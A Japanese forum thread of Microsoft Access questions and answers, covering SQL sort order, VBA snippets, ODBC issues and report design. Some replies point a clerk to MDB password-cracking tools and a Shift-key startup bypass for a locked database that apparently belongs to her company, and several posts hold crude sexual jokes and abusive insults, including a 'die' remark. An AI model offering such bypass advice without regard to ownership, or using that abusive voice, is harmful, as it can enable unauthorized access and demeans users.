　B　　｜　３

第１フィールドでは当然ソートがかかるのですが、第２フィールドの順番がSELECTを実行するごとに入れ替わります。
（変わらない部分もあれば変わる部分もあるという状態です）
９７では何度実行しようが出力されてくるデータの順番が変わらないのですが、２０００は毎回どこかが変わるわけです。

９７から２０００への改修でシステムのロジックは変更していませんし、他のSELECTの条件に実行回数や時系列によって変化しうる条件もないのです。
ぐぐろうにもどんなキーワードで検索すればいいのよorzといった状態でして。

説明そのものより、対策の方を考えたほうが早く解決しそうですよね・・・。

桐にしとけば良いよ、最初から論理レコード番号あるから、そういう問題は生じないよ。

>>341
マイクロソフトに聞いたところ、内部の仕様変更が原因だがどう変わったかは社外に教えられないし、
もともとたまたま同じ並び順になっていただけで、そんな保証はしてないと言われた。

と答えとき。嘘も方便じゃ。そしてたぶんそういうことだと思う。

97→2000は大幅な仕様変更があったからね。
343氏の言うとおりにしておけばいいよ。
そもそも97で作ったものが2000でまともに動くのなら、
336の出番はないわけだし。

ちょっと詳しい人がいたら
「今までたまたま動いてたけど、元々バグがあったわけだな」とか言われそうだ

>>344
97ではUnicodeが扱えず、2000から扱えるようになった。それが並び替えの問題に影響が有るのかな。
俺のACCESSはドイツ語やスペイン語と日本語が混在するからUnicodeでないと困るんだ。

レスサンクスです。

一夜明けて新展開が。

「毎回同じ並びになるように改修」という方向で作業が進みそうです。
といっても、既存のSQL文のORDER BYにフィールドを一つ追加するだけですが。

もともとシステム自体は並び順が変わっても問題ない作りなんですよ。
仕様上、ソートされていないといけないのは>>341の例だと第１フィールドだけなので。
しかし、最終的にファイル出力されるものなので、ファイルの管理上「同じデータならまったく同じファイルにならないと困る」ということらしいです。
（ファイル管理はこのシステムとは別のタスクで、お客さん自身が担当している部分なんです）

ちなみに、本当に「具体的なソース」を提示しないといけない展開になっていたらマイクロソフトへの質問をすることは考えていました。
ただ、経費というか会社の資源を消費することになるので、事前に公式なんかがすでに公開していないか調べてからじゃないとなかなか許可が下りないんですよね。
必要な作業とはいえ、今回は参った（笑


何かの参考になるかもしれないので最後に補足。
問題のSELECT文はJOINで結合をかけています。

こういう事例もあるということで、このログがいつの日か誰かの役に立ちますように。ﾉｼ

っていうかさ、

RDBでデータの並び順が保証されてないのは常識じゃね？

並び順を保証したければ、ORDER BY付けるの常識じゃね？

そんなことも知らないの？

>>348

＞正直、ORDER BYかけてないなら並び順は不定で当たり前だと思うのですが、
＞97では同じ並び順だったのに2000では変わるようになったのをお客さんに納得してもらうソースが欲しいということみたいです。

もともとこういう話だったのだよ。条件反射的に偉そうなレスをつけるのってカッコ悪いと思わないか？

>>348
ｶｺﾜﾙｲ!!

はぁ？わざわざ上のレスなんか読むほど暇じゃねーよｗ

ｶｺﾜﾙｲ!!x2

テーブル作成クエリを実行するたびに
テーブル作っていい？と聞いてくるのですが
表示しない方法はありますか？

そんな常識を説明するのにソースがいるのかよ・・・

話し方教室とか通った方がいいんじゃねぇの？

>>353
あります。

>>351
暇でもないのに２ちゃんにレスしているのね。
気の毒に・・・・・いい病院紹介しようか？

そういやそもそもSQL共通の文法とかDBがDBであるための要件とか、
どこの誰がいつ決めたんだろうな

>>353
Application.Echo False
DoCmd.SetWarnings False

えーーーーと、どっちかではなかったかな？

このスレの200あたりで決まった

>>358

DoCmd.SetWarnings False

こちらでできました
快適です。ありがとうございました

>>357
コッド博士という方です。

ver.2002を使っていて、Functionプロシージャを作っています。

「T出勤」テーブルに　「担当」、「日付」、「出欠」フィールドがあって、
Syukkinnという「日付」のレコードセットをADOで検索しようとしたところ、
いくつかあるプロシージャのうち、

rs.Find "日付 =" & Syukkin
で検索できるものと、

rs.Find "日付 = #" & Syukkin & "#"
にしないと検索してくれないものがあります。

両プロシージャとも、変数の宣言は同じにしてあって、違いは検索の前に「担当者」
でSortまたはFilterしているか（前者）、していないか（後者）なんですが、
この違いはどうして起こるんでしょうか？

だまって #m/d/yyyy# にフォーマットしろ

Access VBAからPostgresqlへの接続について質問です。

下記のようなVBAを作ってみましたが、countフィールドが全て0になってしまいます。
同じSQLをパススルークエリで実行するとちゃんと集計してくれます。
何か接続方法の違いの気がしますが、色々調べてみてもよくわかりません。
ご助言をよろしくお願いします。

Function func_sample()

Dim strConnect As String
Dim adoConnection As Object
Dim adoRS As Object

strConnect = "DRIVER={PostgreSQL ANSI};DATABASE=xxx;SERVER=xxx;PORT=xxx;UID=xxx;PWD=;"

Set adoConnection = CreateObject("ADODB.Connection")
adoConnection.Open strConnect
Set adoRS = adoConnection.Execute("SELECT id, Count(id) as count FROM table Group BY id ORDER BY count DESC")
・・・・・続く

Acccess2007、Postgresql8.1、ODBCドライバ8.02.03です。

postgres知らんけど、とりあえず予約語臭いのを使うの止めようよ…。

countのことでしょうか。試しに変更してみましたが、改善しませんでした。
引き続きよろしくお願いします！

SELECT SELECT AS AS FROM FROM WHERE WHERE ORDER BY ORDER, BY

俺もpostgres知らんけど

Execute でいいのか
いや、まあ、そうだっていうならきっとそうなんだろうけど
Open だったりはしないのか

まああれだ、とりあえずキミの金玉の大きさを言いなさい

口に含んで息苦しくない程度

もう少し大きくしないと浴場で笑われるぞ　ァ '`,、'`,、'`,、'`,、(´▽`) '`,、'`,、'`,、'`,、

玉トレを汁！

人少ないと思ってたら、下ネタに食いつくのですねｗ。

すいません。やっぱりcountだったくさいです。

AS句は削除しましたが、countという関数名は言い換えできないのですが、
引用符内でcount(*)と書くのは一般的に間違いなのでしょうか。
また、エスケープする方法はあるでしょうか。

金玉をやさしく５０回撫でろ、それで解決だ

解決しました。ありがとうございました。

僕の環境だけかもしれませんが、countの戻り値はint8のようで、
これがodbcまで正常に返ってきていたのですが、VBで取り扱えない
ことが原因のようでした。

予めSQLでint4にcastするか、または、ODBCの設定でint4にするオプションを
つけることで解決しました。

そりゃめでたい、金玉に感謝の気持ちをこめて
マッサーしてやれ

金玉マンセー

>>308
>フォームのフィールドなども検索できれば嬉しいのだけどねえ。
>フォームやレポートの設定をテキストファイルに出力するってできないのかな？
可能。formをひとつひとつ開いて、property情報をtext出力すればよい。

>376
Sub TextForm()
Dim aObj As AccessObject
Dim strObjName As String
Dim Frm As Form
Dim ctl As Control
Dim TableName As String
Dim CtlSource As String
On Error Resume Next
For Each aObj In CurrentProject.AllForms
strObjName = aObj.Name
DoCmd.OpenForm strObjName, acDesign, , , , acHidden
Set Frm = Forms(strObjName)
Debug.Print "--------"
Debug.Print "FormName:" & strObjName
Debug.Print "RecordSource:" & Frm.RecordSource
Debug.Print "<Ctl>"
For Each ctl In Frm.Controls
CtlSource = ""
CtlSource = Nz(ctl.ControlSource)
If Len(CtlSource) > 0 Then
Debug.Print ctl.Name & " <-" & CtlSource
Else
Debug.Print ctl.Name
End If
Next
DoCmd.Close acForm, aObj.Name, acSaveNo
Next aObj
End Sub

割り込んですみません。困っているので助けてください。
会社の移転に伴い　今使用している請求書等に書かれている住所を書き変えたいのですが、
このﾃﾞｰﾀﾍﾞｰｽを作ってくれた会社がツブれたみたいで連絡が取れません。
フォーム等がいじれないようになっているので　どこをどうしていいのか...。
コピーも出来ないのでバックアップも今までしていなかったそうです。
どうしたらよいか教えてください、お願いします。

>>378
自力で新しく作っちゃいなさい。

>>378
パスワード解析するのが速いよ
有料でやってくれる会社もあるし

http://www.password-crackers.com/

今 使用中の物を元に作る事って出来るでしょうか。参考書はもってるんだけど 知りたい事 やりたい事がかいてなくて。

>>380 ありがとう。
ただ 社長的には「たかが住所変更だけで金払うかっ」らしくて 私がやらなきゃならなくなりました。出来ないといったのに「やれ」と…。
パスワード解析って 私にも出来るかなぁ…

会社横版ゴム印の住所変えて作り直すだけで数万円だろ
週十ドルくらい払ったら？

>>378
つかファイルの拡張子、MDBになってるか？
MDEなんじゃないか？
だとしたらあきらめた方が良いと思われｗｗｗ

>>384 ありがとう。今日 私会社休みなんで確認はしてないんだけど 確かMDBでは無かった気がします。

>>384
MDBじゃないなら無理っす。
例えば、データ用のMDBが別にある・iniやレジストリの設定があるかも。
そして、住所がそのあたりに登録されていて変更可能、なのであれば
割と簡単に直せるが、へっぽこな奴らが作ったとしたら固定で住所を
埋め込んじゃってるかもなぁ。

…気になって会社に電話して聞いてみたら…MDBだった…。ショック…
しかも始めから作り直せと指令がくだってしまった。
今まで返事下さった方々 どうもありがとうございました。
今から参考書買って来て勉強しますので また色々 教えて下さいね。

>>386 !!?っ MDBだと直せるんですか???

>>388
MDBなら何とかなる可能性もあるけど、
データベースパスワードが分かんないことには何とも。

MDEとかパスワード付きMDBでも、
外部に置いてる固定データ表示用のMDBや
iniファイルを参照してたりすると、
そこを書き換えれば何とかなる可能性も高い。

いずれにせよ、ファイル構成とデータ構造が
把握できてないと難しいと思うし、
なによりMDBのパスワードが分からないなら
既存画面と表示データから作り直す方が早いかもしれん。

>>389
とりあえず、ACCESSのバージョンにもよるけど、
「パスワード MDB 解析」とかでググって、
出てきたパスワード解析ソフトを
試用版でも良いから片っ端から試してみたら？

>>389 返答ありがとう。頑張ってやってみるね。
また教えて下さいねっ!

どうせパスワードなんかかかってないだろ。

Shiftキー押しっぱなしでMDBファイル開いたら編集できました、
なんてオチじゃないよな？・・・・な？

つぶれた会社の社長の行方を捜して対応させるのが一番。

http://www.sereno-japan.co.jp/?OVRAW=%E5%88%9D%E6%81%8B%E3%81%AE%E4%BA%BA%E6%8E%A2%E3%81%97%E3%81%BE%E3%81%99&OVKEY=%E5%88%9D%E6%81%8B%20%E4%BA%BA&OVMTC=advanced

>>393
おおばかやろう、貴様みたいな金玉野郎とはものがちがうんだよ、ものが
おまえの金玉臭くて、ちっぽけなもんだろう

おまえの金玉なんかつぶすぃちゃえ

なんだ､図星か･･･

＞コピーも出来ないのでバックアップも今までしていなかったそうです。

というかみんなこれスルーしてるけどPC逝ったらどうすんだコレw

コピー出来ないってあり得るのか？

> ただ 社長的には「たかが住所変更だけで金払うかっ」らしくて 私がやらなきゃならなくなりました。出来ないといったのに「やれ」と…。

「私」の人件費が余計に掛かる罠ｗ

なんでも自分のところでやれば、安上がりだなんて考えるのは
ドクソの会社の典型だよなぁ。
斯く言う俺の会社もそうなんだが。

こんばんわ。<<388です。『ｺﾋﾟｰ出来ない』件ですが、HDやCDRにｺﾋﾟｰするとｴﾗｰ表示がでてしまうのです。
んで、６、７年前にたまたまｺﾋﾟｰ出来たCDRがあったんで、私んちに持ってきて開けてみたら
請求書のﾚﾎﾟｰﾄ表示をしたら「ｺﾝﾊﾟｲﾙｴﾗｰ」だのなんだのって言って「ﾃﾞﾊﾟｯｸは中断」でなかなか閉じれなくなちゃいました。
ほんと、今日も怖い状態で大事な経理をこのﾃﾞｰﾀﾍﾞｰｽにまかしてるんです。
<<399、だよね(笑)。ド素人の私がそう簡単に作れるわけ無いのにね。
<<399　ｼﾌﾄｷｰ押しながら･･･ってゆうの、明日やってみよっと。

>>401････ｱﾝｶｰの向きが違ってた。恥ずかしいwww

>>401
それはね、コピーできないというよりか、
コピーは出来るが、そのデータベースで必要とされるものすべてを
コピーしていないからエラーが出ているだけ。

きっと参照設定でエラーが出ているものをインストールすれば動くだろう。

知っている人（いわゆるAccessのことを知っているプログラマ）が
やれば、調査の必要はあるが、コピーできるし、
たぶんパスワードもかかっていない。

保証はしないけどｗ

それと作業前にバックアップは取って置けよ。

たとえ動かないと思っていても、分る範囲で取って置け。
間違ってもショートカットファイルだけをバックアップして終わるなよ。
関係しているファイル全部だ。

できるのならHDD全体のバックアップを。

俺のところの社員は勝手に800MBのアクセスデータをファイルサーバにおいてた。
アクセスをファイルサーバに置いたりするとネットワークに負荷がかかるので止めて欲しいよ

で、>>388のオチを期待してwktkしてるわけだがｗｗｗ

>>405
JETの仕様が糞なので仕方ない罠

なんか、378のDBってランタイムで動いているような予感。
6〜7年前にはすでにあったとすると、97あたりか。
2000もぎりっちょかかりそうだが、まだ出たばかりのはずなので
恐らく使用されていないだろう。
378がもっているACCESSは2000以降だろうから
VBA使われていたら、まず動かないんじゃないか。

そんな技術がある開発者ならば、社名変更、住所変更等のためのプログラムを
用意しているはず。MENUのマスター保守とかの中をすべて調べてみたら？

開発スキルの高さと、入出力インタフェースの汎用性に相関関係はないと思われ。

社名・住所・郵便番号・電話番号・FAX番号etcの値はテーブルに登録して
レポート内には直で埋め込まないだろ。

開発のセオリー的に考えて・・・

>>410
普通はね。

業務システムならシステムの仕様書とかないのか？

やけにスレが盛り上がるな。皆、これに近い経験しているのかな。

>>412
普通は無い

>>410
そのために一々テーブル設計して、入力用の画面まで用意するぐらいなら、
レポートを管理者権限で編集可能にするほうが誰にとってもありがたい気が．．．

レポートって以外にアナログな存在で、結局使う項目が増えたり、減ったり、
項目長が加減したり、プリンタ変えたら微調整しなきゃいけない場合もあるんだし。

極論言ってしまうと、帳票はシステム屋に頼まないで、
・DBをACCESS以外にする。(SQL Server / Oracle / DB2 など・・・)
・システムはACCESSだろうが.NETだろうがC++だろうが何でも良いから作り込むｗｗｗ
・テーブルのデータ構造をエンドユーザーが完璧に把握する。
・エンドユーザーが手前で自由にレポート作る。
とした方がよっぽど柔軟な運用ができる。

ただ、エンドユーザーがせっかく金出すんだから・・・って変な色気出して、
設計時点での帳票出力だけを前提に業者にレポート作らせるからおかしくなるｗｗｗ

だから桐にしとけとあれほど、、

今までAccessはデータをわけてなかったんだが
このスレ見て結構やばかったんだなって思った。

データベースの部分をSQL Serverなどに移行するのって
結構大変なのかな？
まだSQL Server自体よくわかってないんだが

>>418
本質的な話はともかく、「動けばいい」レベルなら、クエリをViewに書き換える（SQL文書く）スキルさえあれば、
MSDE＋ACCESSプロジェクトでほぼ同じ動作。

使うやつが糞なら何使っても糞。
日本だめだめだわｗ

> DBをACCESS以外にする。(SQL Server / Oracle / DB2 など・・・)

Accessを知らない社員に修正をさせるような会社に、
SQL Server / Oracle / DB2のライセンスなんて
払えるわけ無いだろ・・・

> ・テーブルのデータ構造をエンドユーザーが完璧に把握する。
Accessを知らない社員（略

> ・エンドユーザーが手前で自由にレポート作る。
Accessを知らない（略

mySQLっていうのはどうなの？
それは無料なのかな・・・

今までローカルでしかＡｃｃｅｓｓ使ったことなくて
サーバーでやってみようと思ってるのだが
なにから勉強すればいいのかさっぱりわからんちん＞＜

それくらい自分でぐぐれよ

>>422
> mySQLっていうのはどうなの？
> それは無料なのかな・・・

個人は無料、企業は有料。まあ、どこまでが個人なんだかわからないし、
そんなことチェックできるはずもないけど、
企業では堂々とは使えないな。

> 今までローカルでしかＡｃｃｅｓｓ使ったことなくて
> サーバーでやってみようと思ってるのだが
> なにから勉強すればいいのかさっぱりわからんちん＞＜

mySQlでデータベース作って、Accessでリンクすれば割と簡単に使えるよ。
ただ、その使い方でどのくらいの意味があるのかよくわからん。
データーが壊れにくくなるくらいの意味はあると思うのだが？

俺は基本的にAccessのレポートは使用しない。
Excelに雛形を作っておいて、Cellにデータを流し込むってやりかた。
Accessのレポートは軽快だが、ユーザが全くいじれないのが気に食わん。

>>425
>>ユーザが全くいじれないのが気に食わん。

いじれるようにすればいいじゃん。
Excelは使えるのにAccessは使えないと決めつけるのは同課と思うが・・・

>>426
Excel使えてAccess使えないってやつのほうが圧倒的に多いって話だろう？
なんだかんだいってもAccessのレポート機能は優れている。
しかし、エンドユーザーの誰でも使えるかというと話は別。

Accessはレポートは作るためのものであり、
帳票は作るためのものじゃない。

ユーザーが望んでいるものは多くは帳票。
使いづいらいったらありゃしない。

>>428
そんなあなたにお薦めなのはやっぱり桐。
日本語ワープロでできることならほとんど出来る。
まあ、Accessで入力して桐で出力というのもなんだかなあって話だ。

>>416
>テーブルのデータ構造をエンドユーザーが完璧に把握する

ユーザにクエリをつくらせるってこと？
それよりも、検索条件を指定させて、結果をcsvで返すような設計のほうがよい。
あとは、ユーザはExcelの機能を駆使して自由に帳票をつくってもらえばよいだけ。

桐が良いんじゃねーの、わしもそーおもうよ。

>>415
たとえばmdbの中にレポートが100個あったとして、そのうちのn個のレポートで
自社の電話番号を印字してたとして、電話番号が変わった場合に100個のレポートを
片っ端からデザインビューで開いてn個のレポートを特定する作業はかなり面倒。

開発の規模が大きくなればなるほど直埋め込み法は泣きを見ることになるよ。

>>432
その規模の開発ってAccess向きなのか？
１００個のレポートを管理するようにAccessが出来ているとも思えないが？
>376 の方法を使えば済むことだし・・・・・

>>432
後だしずるいなぁ．．．．ｗ
さすがに100個もあれば、テーブルなりiniファイルなり使うだろｗｗ

要するに今はそれでよくても将来変わりそうな要素には備えるべしって話だろ。
おまえらまさか消費税も0.05決め打ちでコーディングとかしてるんじゃないだろな？

>>435
内税表記が主流になってから
意識してないよｗｗｗ

>>435
レポートに固定で埋め込んで、後で修正すればいいって考えだと
消費税なんかも固定でやっちゃうような気がする。
会社(or 自社)マスターを用意してFormを作って、というのがナン
センス的に書き込まれてるけど、後々を考えたら速攻作れるForm
なんだから用意した方がいいとオレは考える。

>>436
内税表記でも、消費税を除いた売り上げがいくらとか
管理資料上は消費税分の計算は入るだろ。

消費税率も単に率だけのフィールドじゃなく、日付と率のテーブルを用意すべきだぞ。

日付,消費税率
H01/04/01,3
H09/04/01 ,5

>>437
まぁ、結局バランスの問題なんだけどな。
1年しか使わんようなツールもどきならガンガン固定でオケだし、それこそ上の
100レポートだの、あやしい通販会社で会社名が月に1回は変わります、だったらテーブルで持てばよいｗ

>>440
極端な例だけど、同意。
通常は、1年しか使わないよって前提で開発することはないから、
マスター化するけど。あと、帳票を自由に加工したいという要望が
あればExcelに出力してましたね。表形式の体裁はちゃんと整え
てあげて、その後はお好きにどうぞって。

>>439
いや、商品の値段があるところ全てに
消費税（率ではない）を書いておくべきだろう。

率でないのは小数点以下をどうあつかうか決まってないから。

>>440

その状況に応じて最適な手法を採用するというのは、一見優れているように見えるが実はそうではない。
保守管理すべき対象が膨大になってくると、最適でなくても標準化されたワンパターンを採用しているほうが
後々の保守の負担が少なくてすむからだ。

444げこ

>>443
データ構造を標準化したところで、プログラムロジックが標準化できないんだから、
システムが増えれば保守の負担は比例だろ。

概して小規模案件ほど
(既存のパッケージとか既存のシステムからの)
カスタマイズ要求が顕著。

こんばんわ。>>388です。急に入院する羽目になって今日から出勤し、念願の『ｼﾌﾄｷｰ押しながら...』というのをやってきました!!
　　　そしたら開きましたッ!!!!!　　
>>393さん、ﾏｼﾞでありがとうっm(_ _)m。無事 住所などの変更が出来ました。
ただ、>>403さんの言っている「参照設定でエラーが出ているものをインスト・・・」の仕方がわからないので また参考書とにらめっこしなきゃなりませんが。
それにしても、ここで色々と教えてもらえて 本当に助かりました。
ありがとうございました。

まじですか・・・・・

>>447
乱暴な言い方だけど、、、、、





市ね

みんないつかは死ぬんだ
もう少し待ってやれ

>>449、そんな意地悪なこと言わないで 私 時給800円なんだから…

じゃ、仕方ないな

偉大なソフトであるACCESSを使う仲間ではないか。仲間割れしてはならぬ。

>>451
shift起動も知らん馬鹿なのは置いておいて、曲がりなりにもAccessで仕事してるなら、
もっと時給のいい仕事に移れ、アホ。ちゃんと探せばどんな馬鹿でもAccessで簡単な
ツールぐらい作れるレベルで1500円は堅い。さっさと転職しろ。

一見の取引先をわざわざマスター登録せずに，取引先コードを例えば9999の
ように入力したら任意の取引先名を入力できるようにしたいのですが，どの
ようにすれば実現できるでしょうか。
親切な方教えて下さい。

>>455
そういう場合は、バーチャル・エンティティ。

>>455
1.伝票テーブルに取引先コードと取引先名を用意する。
2.取引先コードが取引先マスターに存在すれば、取引先名を複写する。
3.なかったら、取引先名に SetFocus し手入力する。

で、OK？

1ヶ月でデータが1GB超になってしまうため
月ごとでmdbを作っています。
しかし検索は1年間分のデータに対して行いたい。
そこで考えたのがリンクテーブルのリンク先を変えて
検索をかけること。
ここで質問なんですが、リンク先を変えた場合
rs2のOpen〜Closeは必要ですか?


現状　ADO使用

rs1 'リンク先のmdb名が登録されているテーブルのレコードセット
rs2 '検索対象のテーブルのレコードセット

Do Until rs1.EOF
ret = LinkCng(rs!DB名) 'リンク先変更
. rs2.Open "SELECT * FROM T2 WHERE 検索フィールド = " & Me!txt検索
. If rs2.RecordCount <> 0 then
. exit Do
. Else
. rs2.Close: Set rs2 = Nothing
. End If
. rs1.MoveNext
Loop

コードはこんな感じ。

>>456
バーチャルエンティティって検索してもいまいちわかりませんでした。
もうちょっとヒント下さい。お願い。

>>457
この方法はつまり，伝票テーブルと取引先マスターとの間にリレーション
シップを設定しないということですか？代わりにプログラム書くのでしょ
うか？

>>457 の方法は、その後データをどうするか・集計は？等
詰めて考える必要があるぞ。
手入力されたら、取引先マスターに自動追加が楽かも。
それでも、細かいところはいろいろと思案する必要有り。

リレーションどうこう問いかける前に、内部で別コード管理
したらどうだろうかとか自分の頭で考えてみろ。

取引先に限った話じゃないけど大口はマスター登録、その他大勢の小口は
その他コード一本で一括登録って手法での運用はわりとよくあるな。

この場合マスターにはコード+マスター名称、伝票にはコード+手入力名称を設けて
レポート等には[マスター名称] & [手入力名称]を取引先名として表示するようにしとく。
後日小口が大口に昇格（？）するようなら手入力名称を頼りに伝票のコードをSQL一撃で更新。

>>461
なるほど。
その方法いいですね。ありがとうございます！
できるだけプログラム組まずにすましたかったんですよ。

>>458
素直にSQL ServerとADPに移行した方が良い。

まぁ、サーバ側の物理設計きちんとやらないと、遅くなると思うがな。

ACCESSの次のバージョンでバイトの制限が見直し有るのだろうか。個人のシステムでも問題になりつつ有るんだが。

ない

>457

Private Sub 取引先コード_AfterUpdate()
If IsNull(取引先コード) Then Exit Sub
Dim w取引先名
w取引先名 = DLookup("取引先名", "取引先", "取引先コード=" & 取引先コード) '取引先コードが数値型の場合
'w取引先名 = DLookup("取引先名", "取引先", "取引先コード='" & 取引先コード & "'") '取引先コードがテキスト型の場合
If Len(w取引先名) > 0 Then
Me.取引先名 = w取引先名
Else
Me.取引先名.SetFocus
End If
End Sub

これをフォームにコピペしろ。リレーションは不要。

↑たぶん、動かない。

>>467

どこにバグがあるのか指摘してくれ。

>>468
変数名に漢字使うのぉ〜〜〜

推測だが(というか揚げ足取りになるか？？？)、フィールド名などが
本当に質問者のと一致しているか程度じゃないのかな。
コピペしろって書いてるから、質問者のレベルだと修正せずに動きま
せんってなるかも。

それはおいといて、自分ならコードのところはコンボにします。
DLookup使わなくて済むし。

>自分ならコードのところはコンボにします。

コードというのは、取引先コードのことなのかＶＢＡのcodingのことなのかどっちだ？

聞かないと解らないの？

>>470
すまんすまん。取引先コードの方だ。フィールド名とごっちゃになるんで、
あまりVBAの方をコードって言ってないから、内輪の感覚で通じると思って
しまった。

ReDimでもないのにプロシージャの途中でDimされると気持ち悪いな。
あとDimでAs以降を省略すると暗黙でVariantだったんだっけ？
つうか省略すんなと。

>>473
Dim w取引先名 As String

なんて指定したら、Nullが返ってきた時のエラー対策がめんどくさいだろうが。
便利なもんはなんでも使わんかい。

使うなって意味じゃなくて、使うなら使うでAs Variantって明示的に書けって言ってるんだよw

Nullが返ってきた時のエラー対策っていうけど、マスター未登録かどうかを調べたければ
DLookupの結果がNullかどうかじゃなくてDCountの結果が0かどうかを見るべきだろ。

そもそも元質問者の意図はその他コード（この場合は9999）が使用された時にだけ
別のロジックを適用したい、って意味だったはずなのになんで条件式が
マスター名称の長さが0より大きい時以外、なんて曲解された判定になってるんだ。

これだと正規の取引先のマスター名称にNullや空白が許されるようになったらアウトだし、
取引先コード9999のマスター名称がNullじゃなくて"その他の取引先"とかになってもアウト。
それから単純な入力ミスで例えば1101と入力するのが正解のところを間違えて
マスター未登録の1011とかいう値を入力されてもロジック暴発。

最初の変数宣言の部分も含めて、もっとちゃんと考えてコーディング汁。

>>475

まいった。降参だ。これではどうだろう。


Private Sub 取引先コード_AfterUpdate()
If IsNull(取引先コード) Then Exit Sub
If 取引先コード = 9999 Then
Me.取引先名.SetFocus
Else
Me.取引先名 = DLookup("取引先名", "取引先", "取引先コード=" & 取引先コード)
End If
End Sub

>>439
ちょっと前のんに質問だけど、
それを今日の日付で取る最良の方法ってこんな感じ？

　１．今日以前の日付のうち最大の日付を取る。
　２．１で取った最大日付とひとしい日付の消費税率を取る。

これって、同じテーブルに対して２回検索する感じになるんよね。
一発ですっきりとれる方法ってないかなぁ。。

消費税率表を元に下記のクエリをつくる。(消費税率表クエリとする)

SELECT 消費税率 FROM 消費税率表 ORDER BY 日付 DESC;

※日付を降順にするのがポイント。DLookup関数は最初のレコードを取得するため



Me.消費税率 = DLookup("消費税率", "消費税率表クエリ", "日付<=#2007/05/19#")

winxp/Access2003で作成したmdbをvista/Access2007で利用してから
再度winxp/Access2003の環境で、開こうとしたらデータベース ウィンドウが
表示されなくなってしまった。

誰かﾎﾞｽｹﾃ。

以前から貼られているリンクテーブルで見てみると、データは、まだ存在している様です。
パスワードが設定されてありまして、こちらは起動時に正常に聞かれます。
単独起動/Shift押し/排他起動試してみましたが、全てデータベース ウィンドウは
表示されません。
また、一応コピってから最適化してみましたが、改善は見られませんでした。。

なんとなく以下のURLが怪しそう何ですが、いまいちクリティカルにヒットしません。
ttp://office.microsoft.com/ja-jp/access/HA012138751041.aspx?pid=CH100621861041


誰かﾎﾞｽｹﾃ-!。

>478

訂正

誤->SELECT 消費税率 FROM 消費税率表 ORDER BY 日付 DESC;
正->SELECT 日付,消費税率 FROM 消費税率表 ORDER BY 日付 DESC;

>>479
新規で空のmdbを作成してインポートしる

>>481
おお、ありがとうゴザマイマス。
試してみます。

というか今実行してみました。

ちょっと時間が掛かりそう。。

直ってクレー

>>481
ﾔｯﾀｰ!!
ありがとう御座います。

復旧できました。
（参照は後から再度設定しましたが）

助かりました。


しかしこれから2007との共存の問題はどうしよう。。。

Accessに限らず、Word,Excelでも同様の問題がおきている。

Service Packが出るまでは、相互運用はやめといたほうがよいだろう。

マイクロソフトの製品がはじめからまともに動くわけが無い。
これ常識中の常識。
だから買うなとかマイクロソフト氏ねとか言いたいわけじゃない。
そんなものだってだけの話。

難題に行き詰っている。アドバイスを求める。

[やろうとしていること]
タスクスケジューラで夜中の1時に、
「nwind.mdb」というファイルを開き、
「売上伝票」というテーブルに
「売上.CSV]　というテキストファイルを追加し、
自動終了させる。

[補足]
セキュリティのため「nwind.mdb」には「Sysdb.mdw」という名前のワークグループ情報ファイルを使っている。
使用ツールはVB か VBS か ACCESS2000のどれか検討中
DAO を使う。

[問題点]
MSDNでは、

>Sub DAOOpenSecuredDatabase()
> Dim wks As DAO.Workspace
> Dim db As DAO.Database
> DBEngine.SystemDB = "c:\sysdb.mdw"
> Set wks = DBEngine.CreateWorkspace("","Admin", "password")
> Set db = wks.OpenDatabase("c:\nwind.mdb")
>End Sub

でワークグループ情報ファイルを変更できるかのように記述されているのだが、
DEBUG.PRINT DBEngine.SystemDB
してみると、レジストリの
C:\PROGRA~1\COMMON~1\System\SYSTEM.MDW
のまま変更されず開くことができない。

http://www.microsoft.com/japan/msdn/data/techmat/ado/dao2ado_2.aspx

ワークグループ情報ファイル って関係あるのか？

「nwind.mdb」中略「売上伝票」中略「売上.CSV]以下略って質問と関係あるのか？

アクセスはビューやシノニムやストアドプロシージャが
使えないから嫌だなｗ

>>489
ビューのことをクエリって呼ぶんだよ。

ストアドはVBAだな。

シノニムは、そうだなあ、テーブルそのまんまの
クエリ作って好きな名前つけときゃいいよ。

厳密にはそうだろうが、言いたいことは分かるｗ
accessがSQL-92に完全準拠とは言わないが、Transact SQLには準拠して欲しい。

>>486
Microsoft Access でコマンド ライン スイッチを使用する方法
http://support.microsoft.com/kb/209207/ja

読めば分かるが、Accessにはコマンドラインでユーザー名、パスワード、
ワークグループ情報ファイル、マクロを指定できる。
だからツールとしてAccessを使うのであれば、必要な処理をVBAで書いて
そのエントリーポイントを呼び出すマクロ（プロシージャの実行）を作成
しておけばおｋ？

最近必要に迫られてTransact SQL使ってるんだが
CASE WHEN 条件 THEN 式1 ELSE 式2 ENDとか
SQLが無駄に長くなりすぎてマジ勘弁・・・ 素直にIIf()使わせろや。
ISNULL()も IS NULLじゃなくて要はNz()だしDATEDIFFやDATEADDも
同じように見えて第1引数微妙に変えないとエラーになるし、
なんで同じMS製品でここまでSQLコンパイラの仕様が違うねん・・・

>>494
JETが特殊なだけ。

>>494
accessでt-sqlが使えるようになれば、現行のクエリは1/10に減らせるだろうよｗ
つか、単価上げたければ、t-sql覚えときな。

>>496
> accessでt-sqlが使えるようになれば、現行のクエリは1/10に減らせるだろうよｗ

そうなのか？なんで？・・・複雑な処理が１行で済むとか？

複雑な処理が１行で済まそうとすると、余計わからんようになる。。。

>>498
俺もそう思うんだよなあ？
だからt-sqlが使えるようになれば1/10なるというのが不思議だ。
t-sqlを使おうとは思わないが、jetには限界感じるので乗換え検討中なのだが、
MySQLやPostgreSQLに乗り換えても1/10になるのかなあ？
そんなことは無いように思うのだが？
それにクエリーが1/10になったからってそんなにメリットがあるとも思えない。
プログラムの行数が1/2になるっていうのなら、ものすごくありがたいが・・・・・

>>499
あ、ごめん名前のところ間違えた。
ついでに500ゲット、まあどうでもいいが。

Accessに限らずVB系の最大の欠点は、フォーム内に記述されたイベントプロシージャを共通化できないという点だな。
これができたら、劇的なコーディング削減ができるはずなんだが・・・

イベントを共通化したいならクラス化してWithEventsつけとけばいいんじゃないの？

>>497
釣りはスルーで

>>501
> Accessに限らずVB系
そこ書き間違えてるぞ。「自分」だろ。

素人はSQL書けないから必然的にクエリが大量に作り置きされることになるな。
T-SQLを覚えたら10分の1じゃなくて普通のSQLを覚えたらｾﾞﾛに近くなる、だろうね。

SQLとクエリは同じようなもんだろ
別に作り置きは勝手だよ

>>499
case分が使えるようになれば、多重クエリがなくなる。
joinの限界（複雑なjoinだと5つもテーブル連結するとハングする）がなくなる。

これだけでも大幅にクエリに数は減らせるでしょ。
Jetに比べて、いわゆるSQL-92準拠で困るのは、クロス集計が面倒なことと、
列別名の再使用が出来ないぐらいかな？

>>505
